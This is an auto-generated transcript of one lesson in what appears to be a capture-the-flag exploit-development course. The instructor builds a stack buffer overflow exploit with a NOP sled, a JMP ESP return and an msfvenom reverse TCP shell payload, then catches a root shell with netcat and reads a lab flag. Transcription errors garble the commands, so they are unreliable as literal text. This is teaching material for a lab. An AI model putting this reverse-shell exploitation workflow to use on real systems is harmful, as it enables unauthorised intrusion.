All right.
Are we recording?
Good.
All right.
So welcome back to part four so we can prove that we actually landed in the buffer seas.
Seas.
Okay, so let's be a little bit clearer about our code.
Let's go back to our host.
I'm running parrots.
It doesn't really matter like what you're running.
It could be Linux, parrot, stuff like that.
But we're going to generate our shell code.
And I want to point out that in our previous 2019 class that we have the following bad bites that we
identified.
Once I finish with DEFCON Pro's versus Josep CES Las Vegas, I'm going to throw in the bad byte elimination
section.
I'm just kind of strapped for time.
So our bad bytes that we identified previously was bad bytes.
Hex there are nine.
Hex zero.
A hex
x0a
hex zero d.
Hex 20 and hex to F and hex three f.
Let me see.
So let's clean up our exploit code a bit because we're actually very close to owning this box.
So I want to create an op sled.
So knops equals bytes.
No operation times 16 knobs to be safe.
And we're going to make a jump esp.
So let's just rename it to jump ESP because we know we're going to land an extended stack pointer.
We're going to remove this variable.
We'll just call it filler or let's just call this filler.
Call the Spiller.
Call this job esp.
And what else?
We're going to generate our show code right now.
Python or Metasploit actually generates shell code in Python three compatible format, so they pretend
the byte specify or to it.
So if we do this MSF that
PHP Linux slash xa6 shell underscore verse underscore TCP host equals local
oh four equals 4444-f python which specifies as python.
And then we have our bad bytes.
So it's going to be bad byte dash p
hex or a hex zero oops
090a0d
20
2f3f.
And want to specify the platform as platform
x-axa6 for 32 bit payload dash e for encoder xa6 shikata ga nai dash v shell code which outputs our
python shell code in python compatible as a variable called shell code.
This is going to take a minute.
So notice how now Python generate show code in Python three compatible format so you can copy and paste
all of this and then put inside of your IDE.
And we have two additional variables.
So what we're going to do is that we're going to change this to 4000 bytes, minus length overflow,
minus ninth jump, ESP, minus length.
Knops
minus length show code.
Let's see.
Yes.
That's going to be our filler.
And now we're going to add our show code right here.
So plus show code and hopefully this works since I'm in a bit of a rush.
So let's copy and explain.
Let's just run the script real quick.
See.
Go back to our container and I'll exploit pi.
See?
They told us.
So we have our overflow heading to our job.
Extend the stack pointer instruction.
Oh, we forgot about it in ops.
Sorry.
No.
Let's see, we overflowed.
We retract to the ESP, we add a shield of 16, no operation commands to our shell code.
And then we have our filler and our filler is a bunch of CS that basically subtracts the remainder of
what's left.
So this should work.
So we're going to run it again.
Running at 80.
We're going to open another Windows Control B up, control B shift five.
And then we will run net tab net cat in the LP four for four.
This works python three exploit that py control.
See the exit.
We got our shell.
So type ID, where am I?
And we have a flag that I want you to submit as my quiz answer.
I'll ask root.
So, cat group flag text.
This is your flag.
This is the only freebie flag I'll ever give you.
We will have a quiz for you to go through once you're done with this exercise.
And at the end of this exercise on the Udemy class, you're expected to put in this flag.
I don't expect you to do it any other way.
But this is true that you can log in and count the flag, but you're kind of like cheating yourself.
I want you to actually go through the entire exploit development process, so go ahead and submit this
flag once I put up the question up.